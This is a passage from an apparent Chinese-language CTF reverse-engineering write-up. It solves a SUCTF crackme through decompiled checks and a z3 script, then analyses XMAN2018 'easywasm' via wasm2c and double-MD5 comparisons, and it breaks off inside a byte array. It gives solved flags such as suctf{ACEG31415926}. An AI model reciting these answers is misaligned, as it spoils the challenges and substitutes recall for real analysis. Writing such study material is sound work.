    v106.m256i_i8[24] = sub_140002B80(Buf);
  }

跟踪break语句,是v9影响最终退出,再向上找到v9的影响因素

v95 = 0;
    sub_140001FC0(v86);
    v7 |= 4u;
    if ( v95 && v106.m256i_i8[24] )
      v9 = v94 != *(_OWORD *)&v106.m256i_u64[1];
    else
      v9 = v95 != v106.m256i_i8[24];

上面的功能比较复杂,调试一下,v106变成了v107

if ( (char *)v6 == v5 )
    v107.m256i_i8[24] = 0;
  else
    v107.m256i_i8[24] = sub_140002B80(Buf, (char **)&v107.m256i_i64[1], v5, (__m128i *)Block);
  sub_140001FC0(Destination);

最终就是这个函数

这个函数中有这么一段逻辑

while ( 1 )
  {
    v13 = *v11; // v11是输入字符串
    if ( *((_QWORD *)Buf + 6) )
    {
      v14 = (char *)Buf + 32;
      if ( *((_QWORD *)Buf + 7) >= 0x10ui64 )
        v14 = (char *)*((_QWORD *)Buf + 4);
      v15 = *((_QWORD *)Buf + 6);
      if ( v15 && (v16 = memchr(v14, v13, v15)) != 0i64 )
        v17 = v16 - v14 == -1;
      else
        v17 = 1;
    }
    else
    {
      if ( *((_BYTE *)Buf + 66) )
        goto LABEL_21;
      v18 = isspace(v13);
      v11 = *a2;
      v17 = v18 == 0;
      v12 = *a2;
    }
    if ( !v17 )
      goto LABEL_31;
LABEL_21:
    v19 = *((_QWORD *)Buf + 2);
    v20 = *v11;
    if ( !v19 )
      break;
    v21 = Buf;
    if ( *((_QWORD *)Buf + 3) >= 0x10ui64 )
      v21 = *(void **)Buf;
    v22 = memchr(v21, v20, v19);
    if ( v22 )
      v23 = v22 - (_BYTE *)v21 == -1;
    else
      v23 = 1;
LABEL_29:
    v25 = v12;
    if ( v23 || *((_BYTE *)Buf + 64) )
      goto LABEL_34;
LABEL_31:
    *a2 = ++v11;
    v12 = v11;
    v25 = v11;
    if ( v11 == a3 )
      goto LABEL_34;
  }

遇到有空格会记录在v2中。

最终效果就是遇到空格或标点就会分隔字符串,也就是要包含3部分字符串,经过调试需要标点分割

经过调试,第二个v122!=10判断的是第一部分输入长度

第一部分检测如下

sub_140002690(v119, input_part1);
  strcpy((char *)v130, "ØÞÈßÍ");
  v15 = 0;
  v16 = v120;
  if ( !v120 )
    goto LABEL_154;
  v17 = 0i64;
  v18 = v121;
  v19 = (void **)v119[0];
  do
  {
    v20 = v119;
    if ( v18 >= 0x10 )
      v20 = v19;
    if ( (*((_BYTE *)v20 + v17) ^ 0xAB) != *((_BYTE *)v130 + v17) )
    {
      Sleep(0xD4A51000);
      _exit(0);
    }
    v21 = v119;
    if ( v18 >= 0x10 )
      v21 = v19;
    printf("%c", (unsigned int)*((char *)v21 + v17));
    ++v15;
    ++v17;
  }
  while ( v15 < v16 );

输入xor0xab并和v130比较

动调一下sub_140002690,功能是去除前导a3字符并将结果放入a1。v16中就是去掉前导后的长度,后面有个验证长度是5

计算xor后的结果,第一阶段是11111suctf

这里验证第二段长度

if ( Size != 4 )
    goto FAILED;

字符集必须是abcdefgABCDEFG

v23 = (char *)Buf1;
  if ( v126 >= 0x10 )
    v23 = (char *)Buf1[0];
  v24 = v23 + 4;
  v25 = Buf1;
  if ( v126 >= 0x10 )
    v25 = (void **)Buf1[0];
  if ( v25 != (void **)v24 )
  {
    while ( (unsigned __int8)(*(_BYTE *)v25 - 97) <= 6u || (unsigned __int8)(*(_BYTE *)v25 - 65) <= 6u )
    {
      v25 = (void **)((char *)v25 + 1);
      if ( v25 == (void **)v24 )
        goto LABEL_51;
    }
    goto FAILED;
  }

继续调试,这里将小写转化为大写

if ( v104 >= 0x10 )
    v29 = *(void ***)Buf2;
  v32 = (void **)((char *)v29 + v103);
  v33 = (void **)Buf2;
  if ( v104 >= 0x10 )
    v33 = *(void ***)Buf2;
  v34 = v33;
  v35 = (_BYTE *)((char *)v32 - (char *)v33);
  if ( v33 > v32 )
    v35 = 0i64;
  if ( v35 )
  {
    v36 = v33;
    v37 = v35;
    do
    {
      v38 = *(_BYTE *)v34;
      v39 = sub_1400023D0(&v81, v27, v32, v28);
      *(_BYTE *)v34 = std::ctype<char>::toupper(v39, v38);
      v34 = (void **)((char *)v34 + 1);
    }
    while ( (_BYTE *)((char *)v34 - (char *)v36) != v37 );
    v31 = v104;
    v30 = *(void ***)Buf2;
    v28 = v82;
    v18 = v121;
  }

继续向下,这里判断转换之后的和转换之前的,则转换之前就得是大写

if ( Size == v103 && !memcmp(v42, v41, Size) )

并且下面这段

v44 = 0;
    if ( v43 != 1 )
    {
      v45 = 0i64;
      do
      {
        v46 = (void **)Buf2;
        if ( v31 >= 0x10 )
          v46 = v30;
        v47 = (void **)Buf2;
        if ( v31 >= 0x10 )
          v47 = v30;
        if ( *((char *)v46 + v45) + 2 != *((char *)v47 + v45 + 1) )
          v22 = 1;
        ++v44;
        ++v45;
      }
      while ( v44 < (unsigned __int64)(v43 - 1) );
      v18 = v121;
    }

输入必须是2递增的等差序列,则ABCDEFG中只能是ACEG

第三段长度不能大于10

if ( v128 >= 0xA )
  {
    v51 = v101;
LABEL_108:
    v60 = 0;
    goto LABEL_109;
  }

sub_1400023D0()+3获取了一个表

debug015:00000000004BEB60 dw 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 28h, 28h, 28h, 28h, 28h
debug015:00000000004BEB60 dw 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h
debug015:00000000004BEB60 dw 20h, 20h, 20h, 20h, 48h, 10h, 10h, 10h, 10h, 10h, 10h, 10h, 10h, 10h
debug015:00000000004BEB60 dw 10h, 10h, 10h, 10h, 10h, 10h, 84h, 84h, 84h, 84h, 84h, 84h, 84h, 84h
debug015:00000000004BEB60 dw 84h, 84h, 10h, 10h, 10h, 10h, 10h, 10h, 10h, 81h, 81h, 81h, 81h, 81h
debug015:00000000004BEB60 dw 81h, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 10h
debug015:00000000004BEB60 dw 10h, 10h, 10h, 10h, 10h, 82h, 82h, 82h, 82h, 82h, 82h, 2, 2, 2, 2, 2
debug015:00000000004BEB60 dw 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10h, 10h, 10h, 10h, 20h
debug015:00000000004BEB60 dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
debug015:00000000004BEB60 dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
debug015:00000000004BEB60 dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
debug015:00000000004BEB60 dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
debug015:00000000004BEB60 dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
debug015:00000000004BEB60 dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

此处获得的表tab,以输入的字符c为下标,判断了tab[c]&len(input3)!=0

if ( v52 != (__int64 *)((char *)v51 + v124) )
  {
    while ( 1 )
    {
      v53 = *(unsigned __int8 *)v52;
      v54 = *(_WORD *)Buf2;
      if ( (v54 & *(_WORD *)(*((_QWORD *)sub_1400023D0((__int64)&Buf2[8]) + 3) + 2 * v53)) == 0 )
        break;
      v52 = (__int64 *)((char *)v52 + 1);
      if ( v52 == v73 )
        goto LABEL_100;
    }
    if ( v99 )
    {
      v57 = (void (__fastcall ***)(_QWORD, __int64))(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v99 + 16i64))(v99);
      if ( v57 )
        (**v57)(v57, 1i64);
    }
    goto LABEL_108;
  }

大概看一下表,只能是0x84&4!=0,且根据下标,输入为[0-9]

计算了一个输入的checksum,可以通过穷举得到

if ( v125 >= 0x10 )
      v59 = (__int64 *)v123[0];
    v60 = v59;
    v61 = v123;
    if ( v125 >= 0x10 )
      v61 = (__int64 *)v123[0];
    v62 = (char *)v61 + v124 - (char *)v59;
    if ( v59 > (__int64 *)((char *)v61 + v124) )
      v62 = 0i64;
    if ( v62 )
    {
      do
      {
        v3 = *(char *)v60 + 2 * (5 * v3 - 24);
        v60 = (__int64 *)((char *)v60 + 1);
      }
      while ( (char *)v60 - (char *)v59 != v62 );
    }

最后验证了一个约束

if ( (v3 & 1) == 0
      && (((int)(1234 * v3 + 5678) / 4396) ^ 0xABCDDCBA) == 0xABCDB8B9
      && (((int)(2334 * v3 + 9875) / 7777) ^ 0x12336790) == 0x1233FC70 )

z3跑一跑

from z3 import *


x=BitVec('x',32)
s=Solver()
s.add((((1234 * x + 5678) / 4396) ^ 0xABCDDCBA) == 0xABCDB8B9)
s.add((((2334 * x + 9875) / 7777) ^ 0x12336790) == 0x1233FC70)
s.add(x&1==0)
if s.check()==sat:
    print(s.model())

最终flag为suctf{ACEG31415926}

[rev][XMAN2018排位赛]easywasm

需要将dynlib改为333333 https://blog.csdn.net/qq_35623926/article/details/122071158

然后wasm2c就可以顺利分析了

https://blog.csdn.net/qq_33438733/article/details/81613223

找到check函数开始读

w2c_l3 = w2c_i0;
  w2c_i1 = (*Z_envZ_memoryBase);
  w2c_i2 = 1616u;
  w2c_i1 += w2c_i2;
  w2c_i1 = i32_load(Z_envZ_memory, (u64)(w2c_i1));
  i32_store(Z_envZ_memory, (u64)(w2c_i0), w2c_i1);

这里从Z_envZ_memoryBase+1616偏移处读取了一个int32,存储到l3指向的地方

static void init_memory(void) {
  LOAD_DATA((*Z_envZ_memory), (*Z_envZ_memoryBase), data_segment_data_0, 1648);
}

这句话实际上就是把data_segment_data_0设置为Z_envZ_memoryBase,所以可以去找data_segment_data_0+1616的数据

[50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51]

继续向下看,这种操作进行了9次,也就是把上面数组的数据放在l3指向的地方

w2c_i0 = w2c_l3;
    w2c_i1 = 31u;
    w2c_i0 += w2c_i1;
    w2c_l11 = w2c_i0;
w2c_i0 = w2c_l11;
      w2c_i1 = w2c_p0;
      w2c_i2 = w2c_l9;
      w2c_i1 += w2c_i2;
      w2c_i1 = i32_load8_s(Z_envZ_memory, (u64)(w2c_i1));
      i32_store8(Z_envZ_memory, (u64)(w2c_i0), w2c_i1);
      w2c_i0 = w2c_l3;
      w2c_i1 = 32u;
      w2c_i2 = w2c_l8;
      w2c__md5(w2c_i0, w2c_i1, w2c_i2);

读取输入的一个字符,存储到上面读取串的末尾,并md5。存储的位置应该是i2,溯源得到是g0/l9

w2c_L3: 
        w2c_i0 = w2c_l1;
        w2c_i1 = w2c_l4;
        w2c_i2 = 1u;
        w2c_i1 <<= (w2c_i2 & 31);
        w2c_l6 = w2c_i1;
        w2c_i0 += w2c_i1;
        w2c_i1 = w2c_l8;
        w2c_i2 = w2c_l4;
        w2c_i1 += w2c_i2;
        w2c_i1 = i32_load8_s(Z_envZ_memory, (u64)(w2c_i1));
        w2c_l5 = w2c_i1;
        w2c_i2 = 255u;
        w2c_i1 &= w2c_i2;
        w2c_i2 = 4u;
        w2c_i1 >>= (w2c_i2 & 31);
        w2c_l10 = w2c_i1;
        w2c_i2 = 48u;
        w2c_i1 |= w2c_i2;
        w2c_i2 = w2c_l10;
        w2c_i3 = 87u;
        w2c_i2 += w2c_i3;
        w2c_i3 = w2c_l5;
        w2c_i4 = 255u;
        w2c_i3 &= w2c_i4;
        w2c_i4 = 160u;
        w2c_i3 = (u32)((s32)w2c_i3 < (s32)w2c_i4);
        w2c_i1 = w2c_i3 ? w2c_i1 : w2c_i2;
        i32_store8(Z_envZ_memory, (u64)(w2c_i0), w2c_i1);
        w2c_i0 = w2c_l1;
        w2c_i1 = w2c_l6;
        w2c_i2 = 1u;
        w2c_i1 |= w2c_i2;
        w2c_i0 += w2c_i1;
        w2c_i1 = w2c_l5;
        w2c_i2 = 15u;
        w2c_i1 &= w2c_i2;
        w2c_l5 = w2c_i1;
        w2c_l6 = w2c_i1;
        w2c_i2 = 48u;
        w2c_i1 |= w2c_i2;
        w2c_i2 = w2c_l6;
        w2c_i3 = 87u;
        w2c_i2 += w2c_i3;
        w2c_i3 = w2c_l5;
        w2c_i4 = 10u;
        w2c_i3 = (u32)((s32)w2c_i3 < (s32)w2c_i4);
        w2c_i1 = w2c_i3 ? w2c_i1 : w2c_i2;
        i32_store8(Z_envZ_memory, (u64)(w2c_i0), w2c_i1);
        w2c_i0 = w2c_l4;
        w2c_i1 = 1u;
        w2c_i0 += w2c_i1;
        w2c_l4 = w2c_i0;
        w2c_i1 = 16u;
        w2c_i0 = w2c_i0 != w2c_i1;
        if (w2c_i0) {goto w2c_L3;}

这个循环将字节转化为小写十六进制

w2c_i0 = w2c_l1;
      w2c_i1 = 32u;
      w2c_i2 = w2c_l8;
      w2c__md5(w2c_i0, w2c_i1, w2c_i2);
      w2c_i0 = 0u;
      w2c_l4 = w2c_i0;

第二个md5对十六进制进行md5

依然是转成十六进制

w2c_L4: 
        w2c_i0 = w2c_l2;
        w2c_i1 = w2c_l4;
        w2c_i2 = 1u;
        w2c_i1 <<= (w2c_i2 & 31);
        w2c_l6 = w2c_i1;
        w2c_i0 += w2c_i1;
        w2c_i1 = w2c_l8;
        w2c_i2 = w2c_l4;
        w2c_i1 += w2c_i2;
        w2c_i1 = i32_load8_s(Z_envZ_memory, (u64)(w2c_i1));
        w2c_l5 = w2c_i1;
        w2c_i2 = 255u;
        w2c_i1 &= w2c_i2;
        w2c_i2 = 4u;
        w2c_i1 >>= (w2c_i2 & 31);
        w2c_l10 = w2c_i1;
        w2c_i2 = 48u;
        w2c_i1 |= w2c_i2;
        w2c_i2 = w2c_l10;
        w2c_i3 = 87u;
        w2c_i2 += w2c_i3;
        w2c_i3 = w2c_l5;
        w2c_i4 = 255u;
        w2c_i3 &= w2c_i4;
        w2c_i4 = 160u;
        w2c_i3 = (u32)((s32)w2c_i3 < (s32)w2c_i4);
        w2c_i1 = w2c_i3 ? w2c_i1 : w2c_i2;
        i32_store8(Z_envZ_memory, (u64)(w2c_i0), w2c_i1);
        w2c_i0 = w2c_l2;
        w2c_i1 = w2c_l6;
        w2c_i2 = 1u;
        w2c_i1 |= w2c_i2;
        w2c_i0 += w2c_i1;
        w2c_i1 = w2c_l5;
        w2c_i2 = 15u;
        w2c_i1 &= w2c_i2;
        w2c_l5 = w2c_i1;
        w2c_l6 = w2c_i1;
        w2c_i2 = 48u;
        w2c_i1 |= w2c_i2;
        w2c_i2 = w2c_l6;
        w2c_i3 = 87u;
        w2c_i2 += w2c_i3;
        w2c_i3 = w2c_l5;
        w2c_i4 = 10u;
        w2c_i3 = (u32)((s32)w2c_i3 < (s32)w2c_i4);
        w2c_i1 = w2c_i3 ? w2c_i1 : w2c_i2;
        i32_store8(Z_envZ_memory, (u64)(w2c_i0), w2c_i1);
        w2c_i0 = w2c_l4;
        w2c_i1 = 1u;
        w2c_i0 += w2c_i1;
        w2c_l4 = w2c_i0;
        w2c_i1 = 16u;
        w2c_i0 = w2c_i0 != w2c_i1;
        if (w2c_i0) {goto w2c_L4;}

和memorybase+33*i进行比较

w2c_i0 = w2c_l2;
      w2c_i1 = (*Z_envZ_memoryBase);
      w2c_i2 = w2c_l9;
      w2c_i3 = 33u;
      w2c_i2 *= w2c_i3;
      w2c_i1 += w2c_i2;
      w2c_i2 = 32u;
      w2c_i0 = w2c__memcmp(w2c_i0, w2c_i1, w2c_i2);

穷举md5即可

a = [0x35, 0x36, 0x32, 0x66, 0x65, 0x33, 0x63, 0x63, 0x35, 0x30, 0x30, 0x31,
     0x34, 0x63, 0x32, 0x36, 0x30, 0x64, 0x39, 0x65, 0x38, 0x63, 0x66, 0x34,
     0x65, 0x64, 0x33, 0x38, 0x63, 0x37, 0x37, 0x61, 0x00, 0x63, 0x30, 0x32,
     0x32, 0x61, 0x64, 0x30, 0x63, 0x63, 0x30, 0x30, 0x37, 0x35, 0x61, 0x39,
     0x61, 0x62, 0x31, 0x34, 0x62, 0x34, 0x31, 0x32, 0x61, 0x31, 0x30, 0x38,
     0x32, 0x64, 0x35, 0x66, 0x33, 0x00, 0x36, 0x34, 0x63, 0x32, 0x38, 0x36,
     0x63, 0x66, 0x63, 0x36, 0x32, 0x33, 0x61, 0x61, 0x38, 0x64, 0x37, 0x64,
     0x66, 0x37, 0x63, 0x30, 0x38, 0x38, 0x65, 0x62, 0x66, 0x37, 0x64, 0x37,
     0x31, 0x38, 0x00, 0x38, 0x33, 0x36, 0x36, 0x34, 0x62, 0x64, 0x65, 0x65,
     0x34, 0x62, 0x36, 0x31, 0x33, 0x62, 0x37, 0x65, 0x37, 0x61, 0x35, 0x31,
     0x62, 0x35, 0x32, 0x31, 0x33, 0x34, 0x37, 0x30, 0x61, 0x38, 0x64, 0x00,
     0x62, 0x30, 0x32, 0x30, 0x62, 0x66, 0x35, 0x39, 0x38, 0x61, 0x61, 0x61,
     0x32, 0x62, 0x33, 0x65, 0x30, 0x33, 0x65, 0x64, 0x30, 0x32, 0x63, 0x38,
     0x35, 0x34, 0x33, 0x36, 0x32, 0x36, 0x38, 0x61, 0x00, 0x34, 0x66, 0x64,
     0x61, 0x63, 0x35, 0x61, 0x63, 0x38, 0x30, 0x37, 0x35, 0x30, 0x36, 0x39,
     0x33, 0x38, 0x31, 0x30, 0x33, 0x65, 0x37, 0x37, 0x35, 0x63, 0x35, 0x30,
     0x30, 0x39, 0x39, 0x65, 0x64, 0x00, 0x34, 0x66, 0x64, 0x61, 0x63, 0x35,
     0x61, 0x63, 0x38, 0x30, 0x37, 0x35, 0x30, 0x36, 0x39, 0x33, 0x38, 0x31,
     0x30, 0x33, 0x65, 0x37, 0x37, 0x35, 0x63, 0x35, 0x30, 0x30, 0x39, 0x39,
     0x65, 0x64, 0x00, 0x63, 0x32, 0x33, 0x31, 0x64, 0x36, 0x30, 0x37, 0x62,
     0x36, 0x38, 0x32, 0x33, 0x66, 0x64, 0x30, 0x61, 0x36, 0x38, 0x65, 0x38,
     0x31, 0x33, 0x37, 0x36, 0x30, 0x38, 0x30, 0x39, 0x37, 0x35, 0x34, 0x00,
     0x64, 0x31, 0x36, 0x38, 0x63, 0x32, 0x31, 0x64, 0x31, 0x30, 0x33, 0x37,
     0x31, 0x61, 0x35, 0x61, 0x62, 0x36, 0x31, 0x62, 0x63, 0x66, 0x65, 0x36,
     0x63, 0x37, 0x35, 0x39, 0x65, 0x66, 0x36, 0x65, 0x00, 0x66, 0x36, 0x30,
     0x64, 0x37, 0x30, 0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38,
     0x34, 0x39, 0x30, 0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64,
     0x32, 0x66, 0x33, 0x62, 0x61, 0x00, 0x61, 0x30, 0x31, 0x38, 0x34, 0x66,
     0x38, 0x32, 0x34, 0x30, 0x65, 0x32, 0x66, 0x65, 0x34, 0x36, 0x38, 0x36,
     0x31, 0x64, 0x63, 0x38, 0x64, 0x31, 0x35, 0x61, 0x38, 0x31, 0x39, 0x63,
     0x62, 0x30, 0x00, 0x39, 0x64, 0x62, 0x65, 0x63, 0x34, 0x31, 0x34, 0x33,
     0x33, 0x36, 0x65, 0x37, 0x34, 0x31, 0x65, 0x39, 0x63, 0x37, 0x33, 0x34,
     0x32, 0x32, 0x64, 0x66, 0x35, 0x39, 0x64, 0x65, 0x32, 0x39, 0x37, 0x00,
     0x36, 0x66, 0x62, 0x35, 0x32, 0x30, 0x39, 0x64, 0x38, 0x66, 0x63, 0x38,
     0x62, 0x62, 0x38, 0x35, 0x30, 0x37, 0x32, 0x34, 0x35, 0x62, 0x63, 0x66,
     0x61, 0x32, 0x34, 0x61, 0x65, 0x31, 0x31, 0x66, 0x00, 0x36, 0x66, 0x62,
     0x35, 0x32, 0x30, 0x39, 0x64, 0x38, 0x66, 0x63, 0x38, 0x62, 0x62, 0x38,
     0x35, 0x30, 0x37, 0x32, 0x34, 0x35, 0x62, 0x63, 0x66, 0x61, 0x32, 0x34,
     0x61, 0x65, 0x31, 0x31, 0x66, 0x00, 0x30, 0x30, 0x63, 0x37, 0x37, 0x66,
     0x62, 0x63, 0x36, 0x30, 0x61, 0x35, 0x62, 0x66, 0x63, 0x34, 0x36, 0x36,
     0x64, 0x33, 0x64, 0x30, 0x36, 0x39, 0x38, 0x37, 0x36, 0x65, 0x63, 0x33,
     0x34, 0x38, 0x00, 0x30, 0x30, 0x63, 0x37, 0x37, 0x66, 0x62, 0x63, 0x36,
     0x30, 0x61, 0x35, 0x62, 0x66, 0x63, 0x34, 0x36, 0x36, 0x64, 0x33, 0x64,
     0x30, 0x36, 0x39, 0x38, 0x37, 0x36, 0x65, 0x63, 0x33, 0x34, 0x38, 0x00,
     0x64, 0x66, 0x33, 0x33, 0x34, 0x36, 0x34, 0x66, 0x62, 0x34, 0x37, 0x31,
     0x63, 0x34, 0x36, 0x61, 0x62, 0x61, 0x66, 0x36, 0x39, 0x31, 0x63, 0x30,
     0x30, 0x30, 0x61, 0x30, 0x65, 0x33, 0x30, 0x64, 0x00, 0x34, 0x66, 0x64,
     0x61, 0x63, 0x35, 0x61, 0x63, 0x38, 0x30, 0x37, 0x35, 0x30, 0x36, 0x39,
     0x33, 0x38, 0x31, 0x30, 0x33, 0x65, 0x37, 0x37, 0x35, 0x63, 0x35, 0x30,
     0x30, 0x39, 0x39, 0x65, 0x64, 0x00, 0x66, 0x36, 0x30, 0x64, 0x37, 0x30,
     0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38, 0x34, 0x39, 0x30,
     0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64, 0x32, 0x66, 0x33,
     0x62, 0x61, 0x00, 0x66, 0x63, 0x63, 0x39, 0x34, 0x61, 0x32, 0x30, 0x35,
     0x39, 0x36, 0x66, 0x32, 0x36, 0x31, 0x39, 0x38, 0x36, 0x38, 0x66, 0x33,
     0x61, 0x34, 0x62, 0x66, 0x35, 0x32, 0x65, 0x61, 0x64, 0x66, 0x37, 0x00,
     0x30, 0x30, 0x63, 0x37, 0x37, 0x66, 0x62, 0x63, 0x36, 0x30, 0x61, 0x35,
     0x62, 0x66, 0x63, 0x34, 0x36, 0x36, 0x64, 0x33, 0x64, 0x30, 0x36, 0x39,
     0x38, 0x37, 0x36, 0x65, 0x63, 0x33, 0x34, 0x38, 0x00, 0x64, 0x31, 0x36,
     0x38, 0x63, 0x32, 0x31, 0x64, 0x31, 0x30, 0x33, 0x37, 0x31, 0x61, 0x35,
     0x61, 0x62, 0x36, 0x31, 0x62, 0x63, 0x66, 0x65, 0x36, 0x63, 0x37, 0x35,
     0x39, 0x65, 0x66, 0x36, 0x65, 0x00, 0x39, 0x64, 0x62, 0x65, 0x63, 0x34,
     0x31, 0x34, 0x33, 0x33, 0x36, 0x65, 0x37, 0x34, 0x31, 0x65, 0x39, 0x63,
     0x37, 0x33, 0x34, 0x32, 0x32, 0x64, 0x66, 0x35, 0x39, 0x64, 0x65, 0x32,
     0x39, 0x37, 0x00, 0x66, 0x63, 0x63, 0x39, 0x34, 0x61, 0x32, 0x30, 0x35,
     0x39, 0x36, 0x66, 0x32, 0x36, 0x31, 0x39, 0x38, 0x36, 0x38, 0x66, 0x33,
     0x61, 0x34, 0x62, 0x66, 0x35, 0x32, 0x65, 0x61, 0x64, 0x66, 0x37, 0x00,
     0x39, 0x62, 0x33, 0x37, 0x64, 0x62, 0x30, 0x39, 0x31, 0x39, 0x37, 0x39,
     0x62, 0x65, 0x64, 0x66, 0x30, 0x30, 0x61, 0x37, 0x30, 0x39, 0x35, 0x38,
     0x35, 0x31, 0x62, 0x61, 0x36, 0x66, 0x35, 0x39, 0x00, 0x30, 0x30, 0x63,
     0x37, 0x37, 0x66, 0x62, 0x63, 0x36, 0x30, 0x61, 0x35, 0x62, 0x66, 0x63,
     0x34, 0x36, 0x36, 0x64, 0x33, 0x64, 0x30, 0x36, 0x39, 0x38, 0x37, 0x36,
     0x65, 0x63, 0x33, 0x34, 0x38, 0x00, 0x66, 0x36, 0x30, 0x64, 0x37, 0x30,
     0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38, 0x34, 0x39, 0x30,
     0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64, 0x32, 0x66, 0x33,
     0x62, 0x61, 0x00, 0x66, 0x63, 0x63, 0x39, 0x34, 0x61, 0x32, 0x30, 0x35,
     0x39, 0x36, 0x66, 0x32, 0x36, 0x31, 0x39, 0x38, 0x36, 0x38, 0x66, 0x33,
     0x61, 0x34, 0x62, 0x66, 0x35, 0x32, 0x65, 0x61, 0x64, 0x66, 0x37, 0x00,
     0x64, 0x31, 0x36, 0x38, 0x63, 0x32, 0x31, 0x64, 0x31, 0x30, 0x33, 0x37,
     0x31, 0x61, 0x35, 0x61, 0x62, 0x36, 0x31, 0x62, 0x63, 0x66, 0x65, 0x36,
     0x63, 0x37, 0x35, 0x39, 0x65, 0x66, 0x36, 0x65, 0x00, 0x66, 0x36, 0x30,
     0x64, 0x37, 0x30, 0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38,
     0x34, 0x39, 0x30, 0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64,
     0x32, 0x66, 0x33, 0x62, 0x61, 0x00, 0x31, 0x38, 0x33, 0x33, 0x34, 0x32,
     0x39, 0x39, 0x37, 0x66, 0x66, 0x65, 0x64, 0x34, 0x62, 0x33, 0x31, 0x38,
     0x39, 0x65, 0x39, 0x37, 0x37, 0x64, 0x30, 0x37, 0x37, 0x61, 0x36, 0x30,
     0x62, 0x34, 0x00, 0x66, 0x34, 0x30, 0x34, 0x61, 0x33, 0x33, 0x36, 0x38,
     0x64, 0x32, 0x64, 0x38, 0x66, 0x35, 0x37, 0x34, 0x36, 0x34, 0x66, 0x37,
     0x33, 0x39, 0x64, 0x34, 0x65, 0x64, 0x30, 0x31, 0x63, 0x30, 0x65, 0x00,
     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
     0x78, 0xa4, 0x6a, 0xd7, 0x56, 0xb7, 0xc7, 0xe8, 0xdb, 0x70, 0x20, 0x24,
     0xee, 0xce, 0xbd, 0xc1, 0xaf, 0x0f, 0x7c, 0xf5, 0x2a, 0xc6, 0x87, 0x47,
     0x13, 0x46, 0x30, 0xa8, 0x01, 0x95, 0x46, 0xfd, 0xd8, 0x98, 0x80, 0x69,
     0xaf, 0xf7, 0x44, 0x8b, 0xb1, 0x5b, 0xff, 0xff, 0xbe, 0xd7, 0x5c, 0x89,
     0x22, 0x11, 0x90, 0x6b, 0x93, 0x71, 0x98, 0xfd, 0x8e, 0x43, 0x79, 0xa6,
     0x21, 0x08, 0xb4, 0x49, 0x62, 0x25, 0x1e, 0xf6, 0x40, 0xb3, 0x40, 0xc0,
     0x51, 0x5a, 0x5e, 0x26, 0xaa, 0xc7, 0xb6, 0xe9, 0x5d, 0x10, 0x2f, 0xd6,
     0x53, 0x14, 0x44, 0x02, 0x81, 0xe6, 0xa1, 0xd8, 0xc8, 0xfb, 0xd3, 0xe7,
     0xe6, 0xcd, 0xe1, 0x21, 0xd6, 0x07, 0x37, 0xc3, 0x87, 0x0d, 0xd5, 0xf4,
     0xed, 0x14, 0x5a, 0x45, 0x05, 0xe9, 0xe3, 0xa9, 0xf8, 0xa3, 0xef, 0xfc,
     0xd9, 0x02, 0x6f, 0x67, 0x8a, 0x4c, 0x2a, 0x8d, 0x42, 0x39, 0xfa, 0xff,
     0x81, 0xf6, 0x71, 0x87, 0x22, 0x61, 0x9d, 0x6d, 0x0c, 0x38, 0xe5, 0xfd,
     0x44, 0xea, 0xbe, 0xa4, 0xa9, 0xcf, 0xde, 0x4b, 0x60, 0x4b, 0xbb, 0xf6,
     0x70, 0xbc, 0xbf, 0xbe, 0xc6, 0x7e, 0x9b, 0x28, 0xfa, 0x27, 0xa1, 0xea,
     0x85, 0x30, 0xef, 0xd4, 0x05, 0x1d, 0x88, 0x04, 0x39, 0xd0, 0xd4, 0xd9,
     0xe5, 0x99, 0xdb, 0xe6, 0xf8, 0x7c, 0xa2, 0x1f, 0x65, 0x56, 0xac, 0xc4,
     0x44, 0x22, 0x29, 0xf4, 0x97, 0xff, 0x2a, 0x43, 0xa7, 0x23, 0x94, 0xab,
     0x39, 0xa0, 0x93, 0xfc, 0xc3, 0x59, 0x5b, 0x65, 0x92, 0xcc, 0x0c, 0x8f,
     0x7d, 0xf4, 0xef, 0xff, 0xd1, 0x5d, 0x84, 0x85, 0x4f, 0x7e, 0xa8, 0x6f,
     0xe0, 0xe6, 0x2c, 0xfe, 0x14, 0x43, 0x01, 0xa3, 0xa1, 0x11, 0x08, 0x4e,
